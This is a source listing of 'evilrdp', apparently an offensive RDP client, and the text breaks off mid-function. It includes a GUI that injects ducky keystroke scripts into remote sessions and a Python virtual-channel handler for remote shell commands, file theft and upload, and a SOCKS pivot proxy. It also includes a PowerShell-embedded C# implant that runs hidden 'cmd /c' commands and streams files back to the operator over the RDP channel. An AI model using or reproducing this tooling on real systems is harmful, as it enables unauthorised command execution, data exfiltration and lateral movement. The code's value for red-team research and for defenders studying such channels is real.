self.prompt = "%s $ " % my_name
self.aliases["nap"] = "sleep"
def do_my_action(self):
"""This will appear in help text"""
print("You ran my action!")
def do_add(self, x, y):
print(int(x) + int(y))
def do_echo(self, to_echo):
print(to_echo)
async def do_sleep(self, sleep_time=1):
await asyncio.sleep(int(sleep_time))
def _add_completions(self):
return WordCompleter([str(i) for i in range(9)])
def _sleep_completions(self):
return WordCompleter([str(i) for i in range(1, 60)])
if __name__ == "__main__":
asyncio.get_event_loop().run_until_complete(MyCLI().run())
================================================
FILE: evilrdp/gui.py
================================================
import sys
import asyncio
import traceback
import queue
import threading
import time
from aardwolf import logger
from aardwolf.keyboard import VK_MODIFIERS
from aardwolf.commons.factory import RDPConnectionFactory
from aardwolf.commons.iosettings import RDPIOSettings
from aardwolf.commons.queuedata import RDPDATATYPE
from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_SCANCODE, RDP_KEYBOARD_UNICODE
from aardwolf.commons.queuedata.mouse import RDP_MOUSE
from aardwolf.extensions.RDPECLIP.protocol.formatlist import CLIPBRD_FORMAT
from aardwolf.commons.queuedata.clipboard import RDP_CLIPBOARD_DATA_TXT
from aardwolf.commons.queuedata.constants import MOUSEBUTTON
from aardwolf.commons.target import RDPConnectionDialect
from evilrdp.consolehelper import EVILRDPConsole
from PIL.ImageQt import ImageQt
from PyQt5.QtWidgets import QApplication, QMainWindow, qApp, QLabel
from PyQt5.QtCore import QObject, pyqtSignal, pyqtSlot, QThread, Qt
from PyQt5.QtGui import QPainter, QImage, QPixmap
import pyperclip
# with the help of
# https://gist.github.com/jazzycamel/8abd37bf2d60cce6e01d
class RDPClientConsoleSettings:
def __init__(self, url:str, iosettings:RDPIOSettings):
self.mhover:int = True
self.keyboard:int = True
self.url:str = url
self.iosettings:RDPIOSettings = iosettings
# file path of the ducky file (if used)
self.ducky_file = None
# ducky script start delay, None means that typing will not start automatically
self.ducky_autostart_delay = 5
class RDPImage:
def __init__(self,x,y,image,width,height):
self.x = x
self.y = y
self.image = image
self.width = width
self.height = height
class RDPInterfaceThread(QObject):
result=pyqtSignal(RDPImage)
connection_terminated=pyqtSignal()
def __init__(self, parent=None, **kwargs):
super().__init__(parent, **kwargs)
self.settings:RDPClientConsoleSettings = None
self.conn = None
self.consoletask = None
self.input_evt = None
self.in_q = None
self.loop_started_evt = threading.Event()
self.gui_stopped_evt = threading.Event()
self.input_handler_thread = None
self.asyncthread:threading.Thread = None
def set_settings(self, settings, in_q):
self.settings = settings
self.in_q = in_q
def inputhandler(self, loop:asyncio.AbstractEventLoop):
while not self.conn.disconnected_evt.is_set():
data = self.in_q.get()
loop.call_soon_threadsafe(self.conn.ext_in_queue.put_nowait, data)
if data is None:
break
logger.debug('inputhandler terminating')
async def ducky_keyboard_sender(self, scancode, is_pressed, as_char = False):
### Callback function for the duckyexecutor to dispatch scancodes/characters to the remote end
try:
#print('SCANCODE: %s' % scancode)
#print('is_pressed: %s' % is_pressed)
#print('as_char: %s' % as_char)
if as_char is False:
ki = RDP_KEYBOARD_SCANCODE()
ki.keyCode = scancode
ki.is_pressed = is_pressed
ki.modifiers = VK_MODIFIERS(0)
await self.conn.ext_in_queue.put(ki)
else:
ki = RDP_KEYBOARD_UNICODE()
ki.char = scancode
ki.is_pressed = is_pressed
await self.conn.ext_in_queue.put(ki)
except Exception as e:
traceback.print_exc()
async def ducky_exec(self, bypass_delay = False):
try:
if self.settings.ducky_file is None:
return
from aardwolf.keyboard.layoutmanager import KeyboardLayoutManager
from aardwolf.utils.ducky import DuckyExecutorBase, DuckyReaderFile
if bypass_delay is False:
if self.settings.ducky_autostart_delay is not None:
await asyncio.sleep(self.settings.ducky_autostart_delay)
else:
return
layout = KeyboardLayoutManager().get_layout_by_shortname(self.settings.iosettings.client_keyboard)
executor = DuckyExecutorBase(layout, self.ducky_keyboard_sender, send_as_char = True if self.conn.target.dialect == RDPConnectionDialect.VNC else False)
reader = DuckyReaderFile.from_file(self.settings.ducky_file, executor)
await reader.parse()
except Exception as e:
traceback.print_exc()
async def rdpconnection(self):
input_handler_thread = None
try:
rdpurl = RDPConnectionFactory.from_url(self.settings.url, self.settings.iosettings)
self.conn = rdpurl.get_connection(self.settings.iosettings)
_, err = await self.conn.connect()
if err is not None:
raise err
self.consoletask = asyncio.create_task(EVILRDPConsole(self.conn).run())
#asyncio.create_task(self.inputhandler())
input_handler_thread = asyncio.get_event_loop().run_in_executor(None, self.inputhandler, asyncio.get_event_loop())
self.loop_started_evt.set()
if self.settings.ducky_file is not None:
x = asyncio.create_task(self.ducky_exec())
while not self.gui_stopped_evt.is_set():
data = await self.conn.ext_out_queue.get()
if data is None:
return
if data.type == RDPDATATYPE.VIDEO:
ri = RDPImage(data.x, data.y, data.data, data.width, data.height)
if not self.gui_stopped_evt.is_set():
self.result.emit(ri)
else:
return
elif data.type == RDPDATATYPE.CLIPBOARD_READY:
continue
elif data.type == RDPDATATYPE.CLIPBOARD_NEW_DATA_AVAILABLE:
continue
elif data.type == RDPDATATYPE.CLIPBOARD_CONSUMED:
continue
elif data.type == RDPDATATYPE.CLIPBOARD_DATA_TXT:
continue
else:
logger.debug('Unknown incoming data: %s'% data)
except asyncio.CancelledError:
return
except Exception as e:
traceback.print_exc()
finally:
if self.conn is not None:
await self.conn.terminate()
if input_handler_thread is not None:
input_handler_thread.cancel()
if not self.gui_stopped_evt.is_set():
self.connection_terminated.emit()
def starter(self):
self.loop = asyncio.new_event_loop()
asyncio.set_event_loop(self.loop)
try:
self.rdp_connection_task = self.loop.create_task(self.rdpconnection())
self.loop.run_until_complete(self.rdp_connection_task)
self.loop.close()
except Exception as e:
pass
@pyqtSlot()
def start(self):
# creating separate thread for async otherwise this will not return
# and then there will be no events sent back from application
self.asyncthread = threading.Thread(target=self.starter, args=())
self.asyncthread.start()
@pyqtSlot()
def stop(self):
self.gui_stopped_evt.set()
if self.conn is not None and self.loop.is_running():
try:
asyncio.run_coroutine_threadsafe(self.conn.terminate(), self.loop)
except:
pass
time.sleep(0.1) # waiting connection to terminate
self.rdp_connection_task.cancel()
self.loop.stop()
@pyqtSlot()
def startducky(self):
time.sleep(0.1) # waiting for keyboard flush
asyncio.run_coroutine_threadsafe(self.ducky_exec(bypass_delay = True), self.loop)
class EvilRDPGUI(QMainWindow):
#inputevent=pyqtSignal()
def __init__(self, settings:RDPClientConsoleSettings):
super().__init__()
self.settings = settings
self.ducky_key_ctr = 0
# enabling this will singificantly increase the bandwith
self.mhover = settings.mhover
# enabling keyboard tracking
self.keyboard = settings.keyboard
self.is_rdp = True if settings.url.lower().startswith('rdp') is True else False
# setting up the main window with the requested resolution
self.setGeometry(0, 0, self.settings.iosettings.video_width, self.settings.iosettings.video_height)
# this buffer will hold the current frame and will be contantly updated
# as new rectangle info comes in from the server
self._buffer = QImage(self.settings.iosettings.video_width, self.settings.iosettings.video_height, QImage.Format_RGB32)
# setting up worker thread in a qthread
# the worker recieves the video updates from the connection object
# and then dispatches it to updateImage
# this is needed as the RDPConnection class uses async queues
# and QT is not async so an interface between the two worlds
# had to be created
self.in_q = queue.Queue()
self._thread=QThread()
self._threaded=RDPInterfaceThread(result=self.updateImage, connection_terminated=self.connectionClosed)
self._threaded.set_settings(self.settings, self.in_q)
self._thread.started.connect(self._threaded.start)
self._threaded.moveToThread(self._thread)
qApp.aboutToQuit.connect(self._thread.quit)
self._thread.start()
# setting up the canvas (qlabel) which will display the image data
self._label_imageDisplay = QLabel()
self._label_imageDisplay.setFixedSize(self.settings.iosettings.video_width, self.settings.iosettings.video_height)
self.setCentralWidget(self._label_imageDisplay)
# enabling mouse tracking
self.setMouseTracking(True)
self._label_imageDisplay.setMouseTracking(True)
self.__extended_rdp_keys = {
Qt.Key_End : 'VK_END',
Qt.Key_Down : 'VK_DOWN',
Qt.Key_PageDown : 'VK_NEXT',
Qt.Key_Insert : 'VK_INSERT',
Qt.Key_Delete : 'VK_DELETE',
Qt.Key_Print : 'VK_SNAPSHOT',
Qt.Key_Home : 'VK_HOME',
Qt.Key_Up : 'VK_UP',
Qt.Key_PageUp : 'VK_PRIOR',
Qt.Key_Left : 'VK_LEFT',
Qt.Key_Right : 'VK_RIGHT',
Qt.Key_Meta : 'VK_LWIN',
Qt.Key_Enter : 'VK_RETURN',
Qt.Key_Menu : 'VK_LMENU',
Qt.Key_Pause : 'VK_PAUSE',
Qt.Key_Slash: 'VK_DIVIDE',
Qt.Key_Period: 'VK_DECIMAL',
#Qt.Key_Shift: 'VK_LSHIFT',
#Qt.Key_Tab: 'VK_TAB',
#Qt.Key_0 : 'VK_NUMPAD0',
#Qt.Key_1 : 'VK_NUMPAD1',
#Qt.Key_2 : 'VK_NUMPAD2',
#Qt.Key_3 : 'VK_NUMPAD3',
#Qt.Key_4 : 'VK_NUMPAD4',
#Qt.Key_5 : 'VK_NUMPAD5',
#Qt.Key_6 : 'VK_NUMPAD6',
#Qt.Key_7 : 'VK_NUMPAD7',
#Qt.Key_8 : 'VK_NUMPAD8',
#Qt.Key_9 : 'VK_NUMPAD9',
}
self.__qtbutton_to_rdp = {
Qt.LeftButton : MOUSEBUTTON.MOUSEBUTTON_LEFT,
Qt.RightButton : MOUSEBUTTON.MOUSEBUTTON_RIGHT,
Qt.MidButton : MOUSEBUTTON.MOUSEBUTTON_MIDDLE,
Qt.ExtraButton1 : MOUSEBUTTON.MOUSEBUTTON_5,
Qt.ExtraButton2 : MOUSEBUTTON.MOUSEBUTTON_6,
Qt.ExtraButton3 : MOUSEBUTTON.MOUSEBUTTON_7,
Qt.ExtraButton4 : MOUSEBUTTON.MOUSEBUTTON_8,
Qt.ExtraButton5 : MOUSEBUTTON.MOUSEBUTTON_9,
Qt.ExtraButton6 : MOUSEBUTTON.MOUSEBUTTON_10,
}
def closeEvent(self, event):
self.connectionClosed()
event.accept()
def connectionClosed(self):
self.in_q.put(None)
self._threaded.stop()
self._thread.quit()
self.close()
def updateImage(self, event):
rect = ImageQt(event.image)
if event.width == self.settings.iosettings.video_width and event.height == self.settings.iosettings.video_height:
self._buffer = rect
else:
with QPainter(self._buffer) as qp:
qp.drawImage(event.x, event.y, rect, 0, 0, event.width, event.height)
pixmap01 = QPixmap.fromImage(self._buffer)
pixmap_image = QPixmap(pixmap01)
self._label_imageDisplay.setPixmap(pixmap_image)
self._label_imageDisplay.setAlignment(Qt.AlignCenter)
self._label_imageDisplay.setScaledContents(True)
self._label_imageDisplay.setMinimumSize(1,1)
self._label_imageDisplay.show()
## this is for testing!
#def keyevent_to_string(self, event):
# keymap = {}
# for key, value in vars(Qt).items():
# if isinstance(value, Qt.Key):
# keymap[value] = key.partition('_')[2]
# modmap = {
# Qt.ControlModifier: keymap[Qt.Key_Control],
# Qt.AltModifier: keymap[Qt.Key_Alt],
# Qt.ShiftModifier: keymap[Qt.Key_Shift],
# Qt.MetaModifier: keymap[Qt.Key_Meta],
# Qt.GroupSwitchModifier: keymap[Qt.Key_AltGr],
# Qt.KeypadModifier: keymap[Qt.Key_NumLock],
# }
# sequence = []
# for modifier, text in modmap.items():
# if event.modifiers() & modifier:
# sequence.append(text)
# key = keymap.get(event.key(), event.text())
# if key not in sequence:
# sequence.append(key)
# return '+'.join(sequence)
def send_key(self, e, is_pressed):
# https://doc.qt.io/qt-5/qt.html#Key-enum
# ducky script starter
if is_pressed is True:
if e.key()==Qt.Key_Escape:
self.ducky_key_ctr += 1
if self.ducky_key_ctr == 3:
self.ducky_key_ctr = 0
self._threaded.startducky()
else:
self.ducky_key_ctr = 0
if self.keyboard is False:
return
#print(self.keyevent_to_string(e))
if e.key()==(Qt.Key_Control and Qt.Key_V):
ki = RDP_CLIPBOARD_DATA_TXT()
ki.datatype = CLIPBRD_FORMAT.CF_UNICODETEXT
ki.data = pyperclip.paste()
self.in_q.put(ki)
modifiers = VK_MODIFIERS(0)
qt_modifiers = QApplication.keyboardModifiers()
if bool(qt_modifiers & Qt.ShiftModifier) is True and e.key() != Qt.Key_Shift:
modifiers |= VK_MODIFIERS.VK_SHIFT
if bool(qt_modifiers & Qt.ControlModifier) is True and e.key() != Qt.Key_Control:
modifiers |= VK_MODIFIERS.VK_CONTROL
if bool(qt_modifiers & Qt.AltModifier) is True and e.key() != Qt.Key_Alt:
modifiers |= VK_MODIFIERS.VK_MENU
if bool(qt_modifiers & Qt.KeypadModifier) is True and e.key() != Qt.Key_NumLock:
modifiers |= VK_MODIFIERS.VK_NUMLOCK
if bool(qt_modifiers & Qt.MetaModifier) is True and e.key() != Qt.Key_Meta:
modifiers |= VK_MODIFIERS.VK_WIN
ki = RDP_KEYBOARD_SCANCODE()
ki.keyCode = e.nativeScanCode()
ki.is_pressed = is_pressed
if sys.platform == "linux":
#why tho?
ki.keyCode -= 8
ki.modifiers = modifiers
if e.key() in self.__extended_rdp_keys.keys():
ki.vk_code = self.__extended_rdp_keys[e.key()]
#print('SCANCODE: %s' % ki.keyCode)
#print('VK CODE : %s' % ki.vk_code)
#print('TEXT : %s' % repr(e.text()))
self.in_q.put(ki)
def send_mouse(self, e, is_pressed, is_hover = False):
if is_hover is True and self.settings.mhover is False:
# is hovering is disabled we return immediately
return
buttonNumber = MOUSEBUTTON.MOUSEBUTTON_HOVER
if is_hover is False:
buttonNumber = self.__qtbutton_to_rdp[e.button()]
mi = RDP_MOUSE()
mi.xPos = e.pos().x()
mi.yPos = e.pos().y()
mi.button = buttonNumber
mi.is_pressed = is_pressed if is_hover is False else False
self.in_q.put(mi)
def keyPressEvent(self, e):
self.send_key(e, True)
def keyReleaseEvent(self, e):
self.send_key(e, False)
def mouseMoveEvent(self, e):
self.send_mouse(e, False, True)
def mouseReleaseEvent(self, e):
self.send_mouse(e, False)
def mousePressEvent(self, e):
self.send_mouse(e, True)
================================================
FILE: evilrdp/vchannels/__init__.py
================================================
================================================
FILE: evilrdp/vchannels/pscmd/__init__.py
================================================
import io
import enum
import os
import asyncio
from typing import Dict
from aardwolf.extensions.RDPEDYC.vchannels import VirtualChannelBase
from asysocks.protocol.socks5 import SOCKS5Method, SOCKS5NegoReply, \
SOCKS5Request, SOCKS5Command, SOCKS5ReplyType, SOCKS5Reply
class PSCMD(enum.Enum):
OK = 0
ERR = 1
CONTINUE = 2
PS = 20
GETFILE = 21
PUTFILE = 22
FILEDATA = 23
SHELL = 24
SHELLDATA = 25
SOCKETOPEN = 26
SOCKETDATA = 27
class PSCMDMessage:
def __init__(self, command: PSCMD ,data:bytes, token:bytes = None, length:int = None):
self.length = length
self.token = token
self.command = command
self.data = data
def to_bytes(self):
if self.token is None:
self.token = os.urandom(16)
if self.length is None:
self.length = len(self.data) + 24
t = self.length.to_bytes(4, byteorder='little', signed=False)
t += self.token
t += self.command.value.to_bytes(4, byteorder='little', signed=False)
t += self.data
return t
@staticmethod
def from_bytes(data:bytes):
return PSCMDMessage.from_buffer(io.BytesIO(data))
@staticmethod
def from_buffer(buff:io.BytesIO):
length = int.from_bytes(buff.read(4), byteorder='little', signed=False)
token = buff.read(16)
command = PSCMD(int.from_bytes(buff.read(4), byteorder='little', signed=False))
data = buff.read(length-24)
return PSCMDMessage(command, data, token, length)
def __str__(self):
t = ''
for k in self.__dict__:
t += '%s: %s\r\n' % (k, self.__dict__[k])
return t
class PSCMDChannel(VirtualChannelBase):
def __init__(self, channelname):
VirtualChannelBase.__init__(self, channelname)
self.channel_active_evt = asyncio.Event()
self.__socksserver = None
self.__channels:Dict[bytes, asyncio.Queue[PSCMDMessage]] = {} # token -> Qeue
self.__proxytasks = []
async def channel_init(self):
print('Channel init called!')
self.channel_active_evt.set()
for token in self.__channels:
await self.__channels[token].put(PSCMDMessage(PSCMD.ERR, b'', token))
return True, None
async def channel_data_in(self, data:bytes):
try:
#print('DATA IN: %s' % data)
msg = PSCMDMessage.from_bytes(data)
if msg.token not in self.__channels:
print('Message arrived from server with unknown token!')
return
await self.__channels[msg.token].put(msg)
except Exception as e:
print('Error! %s' % e)
return
async def channel_closed(self):
print('Channel closed!')
self.channel_active_evt = asyncio.Event()
if self.__socksserver is not None:
self.__socksserver.close()
self.__socksserver = None
async def sendcmd(self, cmd:PSCMDMessage):
if cmd.token is None:
cmd.token = os.urandom(16)
self.__channels[cmd.token] = asyncio.Queue()
await self.channel_data_out(cmd.to_bytes())
return cmd.token
async def sendrcv_pscmd(self, ps):
cmd = PSCMDMessage(PSCMD.PS, ps.encode())
token = await self.sendcmd(cmd)
for _ in range(1):
msg = await self.__channels[token].get()
return msg.data.decode()
async def sendrcv_getfile(self, filepath):
cmd = PSCMDMessage(PSCMD.GETFILE, filepath.encode())
token = await self.sendcmd(cmd)
while True:
msg = await self.__channels[token].get()
if msg.command == PSCMD.OK:
break
elif msg.command == PSCMD.ERR:
raise Exception('File read error!')
elif msg.command == PSCMD.FILEDATA:
yield msg.data.decode()
else:
raise Exception('Unexpected reply type %s' % msg.command)
async def sendrcv_shellexec(self, command):
cmd = PSCMDMessage(PSCMD.SHELL, command.encode())
token = await self.sendcmd(cmd)
while True:
msg = await self.__channels[token].get()
if msg.command == PSCMD.OK:
break
elif msg.command == PSCMD.ERR:
raise Exception('Shell exec error!')
elif msg.command == PSCMD.SHELLDATA:
stderr_or_stout = int.from_bytes(msg.data[:4], byteorder='little', signed=False)
line = ''
if len(msg.data) > 4:
line = msg.data[4:].decode()
yield (stderr_or_stout, line)
else:
raise Exception('Unexpected reply type %s' % msg.command)
async def __handle_socks_in(self, token:bytes, writer:asyncio.StreamWriter):
try:
while True:
msg = await self.__channels[token].get()
if msg.command != PSCMD.SOCKETDATA:
break
writer.write(msg.data)
await writer.drain()
finally:
writer.close()
async def __handle_tcp_client(self, reader:asyncio.StreamReader, writer:asyncio.StreamWriter):
initcmd = None
pt = None
data = await reader.read(1)
if data[0] == 5:
authlen = await reader.read(1)
authlen = authlen[0]
methods = await reader.read(authlen)
authmethods = []
for c in methods:
authmethods.append(SOCKS5Method(c))
rep = SOCKS5NegoReply.construct(SOCKS5Method.NOAUTH)
writer.write(rep.to_bytes())
await writer.drain()
resp = await SOCKS5Request.from_streamreader(reader)
if resp.CMD in [SOCKS5Command.CONNECT, SOCKS5Command.BIND]:
data = resp.CMD.value.to_bytes(4, byteorder='little', signed=False)
data += resp.DST_PORT.to_bytes(4, byteorder='little', signed=False)
data += str(resp.DST_ADDR).encode()
initcmd = PSCMDMessage(PSCMD.SOCKETOPEN, data)
else:
raise NotImplementedError()
token = await self.sendcmd(initcmd)
msg = await self.__channels[token].get()
if msg.command != PSCMD.CONTINUE:
print('Failed to open socket on the remote end!')
repl = SOCKS5Reply.construct(SOCKS5ReplyType.FAILURE, '', 0)
writer.write(repl.to_bytes())
await writer.drain()
writer.close()
return
repl = SOCKS5Reply.construct(SOCKS5ReplyType.SUCCEEDED, '', 0)
writer.write(repl.to_bytes())
await writer.drain()
elif data[0] == 4:
raise NotImplementedError()
else:
raise ValueError()
try:
pt = asyncio.create_task(self.__handle_socks_in(token, writer))
self.__proxytasks.append(pt)
while True:
data = await reader.read(1590)
if data == b'':
#print('Client disconnected!')
return
msg = PSCMDMessage(PSCMD.SOCKETDATA, data, token=initcmd.token)
await self.channel_data_out(msg.to_bytes())
except Exception as e:
print('Error! %s' % e)
return
finally:
if pt is not None:
pt.cancel()
if initcmd is not None:
msg = PSCMDMessage(PSCMD.OK, b'', token=initcmd.token)
await self.channel_data_out(msg.to_bytes())
async def socksproxy(self, listen_ip, listen_port):
try:
self.__socksserver = await asyncio.start_server(self.__handle_tcp_client, listen_ip, listen_port)
print('SOCKS proxy started on %s:%s' % (listen_ip, listen_port))
return True, None
except Exception as e:
return None, e
================================================
FILE: evilrdp/vchannels/pscmd/serverscript.ps1
================================================
$VCHannelDef = @'
using System;
using System.Runtime.InteropServices;
using System.IO;
using System.Text;
using Microsoft.Win32.SafeHandles;
using System.ComponentModel;
using System.Threading.Tasks;
using System.Collections.Generic;
using System.Net.Sockets;
using System.Threading;
/// <summary>
/// The WtsApi32 class is taken from P/Invoke and other sources.
/// Most important part is the "Open" function which will return a fully functioning FileStream object for the given channel.
/// There is one caveat! One Read command will return at maxiumum 1600bytes (with the 8 byte header included) woth of data. This is
/// by RDP protocol design, cannot be changed. The workaround is to design the communication protocol with an appropriate length field
/// so you'll know when each packet ends.
/// THIS WILL ONLY WORK FROM AN RDP SESSION. RUNNING THIS CODE OUTSIDE AN RDP SESSION WILL FAIL TO OPEN THE CHANNEL (OVBIOUSLY)
/// </summary>
class WtsApi32
{
[Flags]
public enum DuplicateOptions : uint
{
DUPLICATE_CLOSE_SOURCE = (0x00000001),// Closes the source handle. This occurs regardless of any error status returned.
DUPLICATE_SAME_ACCESS = (0x00000002), //Ignores the dwDesiredAccess parameter. The duplicate handle has the same access as the source handle.
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
private enum WTS_VIRTUAL_CLASS
{
ClientData, // Virtual channel client module data
FileHandle // (C2H data)
};
[DllImport("Wtsapi32.dll", SetLastError = true)]
public static extern IntPtr WTSVirtualChannelOpen(IntPtr server,
int sessionId, [MarshalAs(UnmanagedType.LPStr)] string virtualName);
[DllImport("Wtsapi32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr WTSVirtualChannelOpenEx(uint dwSessionID, string pChannelName, int flags);
[DllImport("Wtsapi32.dll", SetLastError = true)]
public static extern bool WTSVirtualChannelWrite(IntPtr channelHandle,
byte[] buffer, int length, ref int bytesWritten);
[DllImport("Wtsapi32.dll", SetLastError = true)]
public static extern bool WTSVirtualChannelRead(IntPtr channelHandle,
int timeout, byte[] buffer, int length, ref int bytesReaded);
[DllImport("Wtsapi32.dll")]
public static extern bool WTSVirtualChannelClose(IntPtr channelHandle);
[DllImport("Wtsapi32.dll", SetLastError = true)]
private static extern bool WTSVirtualChannelQuery(IntPtr hChannelHandle,
WTS_VIRTUAL_CLASS virtualClass,
ref IntPtr ppBuffer,
ref uint pBytesReturned);
[DllImport("Wtsapi32.dll", ExactSpelling = true, SetLastError = false)]
public static extern void WTSFreeMemory(IntPtr memory);
public static uint WTS_CURRENT_SESSION = uint.MaxValue;
public enum WTS_CHANNEL_OPTION
{
DYNAMIC = 0x00000001, // dynamic channel
DYNAMIC_PRI_LOW = 0x00000000, // priorities
DYNAMIC_PRI_MED = 0x00000002,
DYNAMIC_PRI_HIGH = 0x00000004,
DYNAMIC_PRI_REAL = 0x00000006,
DYNAMIC_NO_COMPRESS = 0x00000008
}
static public int CHANNEL_CHUNK_LENGTH = 1600;
static public int WTS_CHANNEL_OPTION_DYNAMIC = 0x00000001; // dynamic channel
static public int WTS_CHANNEL_OPTION_DYNAMIC_PRI_LOW = 0x00000000; // priorities
static public int WTS_CHANNEL_OPTION_DYNAMIC_PRI_MED = 0x00000002;
static public int WTS_CHANNEL_OPTION_DYNAMIC_PRI_HIGH = 0x00000004;
static public int WTS_CHANNEL_OPTION_DYNAMIC_PRI_REAL = 0x00000006;
static public int WTS_CHANNEL_OPTION_DYNAMIC_NO_COMPRESS = 0x00000008;
/// <summary>
/// Opens the virtual channel over RDP, and returns a FileStream object to read and write to the channel.
/// Be careful, the recieved data (on FileStream.Read) will contain 8 bytes in the beginning which is the
/// header for the transmission layer, feel free to discard it!
/// </summary>
/// <param name="channelName"></param>
/// <param name="option"></param>
/// <returns></returns>
/// <exception cref="Exception"></exception>
/// <exception cref="Win32Exception"></exception>
public static FileStream Open(string channelName, WTS_CHANNEL_OPTION option = WTS_CHANNEL_OPTION.DYNAMIC | WTS_CHANNEL_OPTION.DYNAMIC_NO_COMPRESS)
{
// Open
IntPtr ppFile;
IntPtr sfh = WTSVirtualChannelOpenEx(WTS_CURRENT_SESSION, channelName, (int)option);
try
{
if(sfh == IntPtr.Zero)
{
int error = Marshal.GetLastWin32Error();
throw new Exception("Failed to open channel! Code: " + error);
}
IntPtr pBuffer = IntPtr.Zero;
try
{
uint cbReturned = 0;
if (!WTSVirtualChannelQuery(sfh, WTS_VIRTUAL_CLASS.FileHandle, ref pBuffer, ref cbReturned)
|| cbReturned < IntPtr.Size)
{
throw new Win32Exception();
}
var pWtsFile = Marshal.ReadIntPtr(pBuffer);
if (!DuplicateHandle(
GetCurrentProcess(), pWtsFile,
GetCurrentProcess(), out ppFile,
0, false, (uint)DuplicateOptions.DUPLICATE_SAME_ACCESS))
{
throw new Win32Exception();
}
}
finally
{
WTSFreeMemory(pBuffer);
}
}
finally
{
}
SafeFileHandle pFile = new SafeFileHandle(ppFile, true);
// create
return new FileStream(pFile, FileAccess.ReadWrite, bufferSize: 32 * 1024 * 1024, isAsync: true);
}
}
/// <summary>
/// Type enum for each packet.
/// </summary>
public enum CMDType : int
{
OK = 0,
ERR = 1,
CONTINUE = 2,
PS = 20,
GETFILE = 21,
PUTFILE = 22,
FILEDATA = 23,
SHELL = 24,
SHELLDATA = 25,
SOCKETOPEN = 26,
SOCKETDATA = 27,
}
/// <summary>
/// Packet class for the communication channel between the server and client component
/// Every packet contains this header, the data array structure depends on the CMDType
/// </summary>
public class CMD
{
public int length;
public byte[] token;
public CMDType command;
public byte[] data;
public CMD(byte[]token, CMDType command, byte[]data)
{
this.token = token;
this.command = command;
this.data = data;
this.length = data.Length + 24;
}
/// <summary>
/// Parses the recieved bytes and returns the Packet.
/// </summary>
/// <param name="rawdata"></param>
public CMD(byte[] rawdata)
{
this.length = (Int32)(BitConverter.ToInt16(rawdata, 0));
this.token = new byte[16];
Array.Copy(rawdata, 4, this.token, 0, 16);
this.command = (CMDType)(Int32)(BitConverter.ToInt16(rawdata, 20));
if (rawdata.Length > 24 ) {
this.data = new byte[rawdata.Length - 24];
Array.Copy(rawdata, 24, this.data, 0, rawdata.Length - 24);
}
}
/// <summary>
/// Serializes the packet to be sent over the channel.
/// </summary>
/// <returns></returns>
public byte[] toBytes()
{
byte[] res = null;
using (MemoryStream ms = new MemoryStream())
{
ms.Write(BitConverter.GetBytes(this.length), 0, 4);
ms.Write(this.token, 0, this.token.Length);
ms.Write(BitConverter.GetBytes((int)this.command), 0, 4);
if(this.data.Length > 0)
{
ms.Write(this.data, 0, this.data.Length);
}
res = ms.ToArray();
}
return res;
}
}
/// <summary>
/// Base class for the subchannels, this is part of the communication framework, not RDP.
/// Every time a command with an unknown token arrives from the RDP client, a new SubChannel is created.
/// </summary>
public class SubChannel
{
protected VChannel manager;
protected byte[] token;
protected CMD initCmd;
protected CancellationTokenSource channelClose;
public SubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose)
{
this.manager = manager;
this.initCmd = initCmd;
this.channelClose = CancellationTokenSource.CreateLinkedTokenSource(managerClose);
}
virtual public async Task start()
{
}
virtual public async Task HandleIncoming(CMD cmd)
{
}
}
/// <summary>
/// This subchannel type is to manage file read operation.
/// Upon start, the whole file specificed by the filepath in the initCmd's data array
/// will be read and transmitted back to the client.
/// </summary>
public class FileReadSubChannel : SubChannel
{
string filepath;
public FileReadSubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose) : base(manager, initCmd, managerClose)
{
this.filepath = Encoding.UTF8.GetString( initCmd.data);
}
public override async Task start()
{
readFile();
}
async Task readFile()
{
try
{
using (var inFileSteam = new FileStream(filepath, FileMode.Open))
{
while(inFileSteam.Length != inFileSteam.Position)
{
byte[] buffer = new byte[1500];
int bytesRead = await inFileSteam.ReadAsync(buffer, 0, buffer.Length, channelClose.Token);
await manager.SendCmd(initCmd.token, CMDType.FILEDATA, buffer);
}
}
await manager.SendCmd(initCmd.token, CMDType.OK);
return;
}
catch (Exception)
{
//cant put await in catch block...
//what is this lunacy...
}
await manager.SendCmd(initCmd.token, CMDType.ERR);
}
public override async Task HandleIncoming(CMD cmd)
{
switch (cmd.command)
{
case CMDType.OK:
case CMDType.ERR:
{
channelClose.Cancel();
break;
}
}
}
}
public class FileWriteSubChannel : SubChannel
{
string filepath;
FileStream fs;
public FileWriteSubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose) : base(manager, initCmd, managerClose)
{
this.filepath = Encoding.UTF8.GetString(initCmd.data);
}
public override async Task start()
{
fs = new FileStream(filepath, FileMode.Create, FileAccess.Write);
}
public override async Task HandleIncoming(CMD cmd)
{
switch (cmd.command)
{
case CMDType.FILEDATA:
{
await fs.WriteAsync(cmd.data, 0, cmd.data.Length, channelClose.Token);
break;
}
case CMDType.OK:
case CMDType.ERR:
{
channelClose.Cancel();
fs.Close();
fs.Dispose();
break;
}
}
}
}
/// <summary>
/// This SubChannel is created to manage one-shot style execution of shell commands
/// The STDOUT and STDERR data will be sent back to the RDP client, each with a different ID.
/// </summary>
public class CMDExecSubChannel : SubChannel
{
string command;
System.Diagnostics.Process process;
public CMDExecSubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose) : base(manager, initCmd, managerClose)
{
this.command = Encoding.UTF8.GetString(initCmd.data);
}
public override async Task start()
{
procreader();
}
async Task procreader()
{
try
{
System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + command);
procStartInfo.RedirectStandardOutput = true;
procStartInfo.RedirectStandardError = true;
procStartInfo.UseShellExecute = false;
procStartInfo.CreateNoWindow = true;
process = new System.Diagnostics.Process();
process.StartInfo = procStartInfo;
process.Start();
while (!process.HasExited)
{
string result = process.StandardOutput.ReadToEnd();
if (result.Length > 0)
{
byte[] xxx = Encoding.UTF8.GetBytes(result);
byte[] data = new byte[4 + xxx.Length];
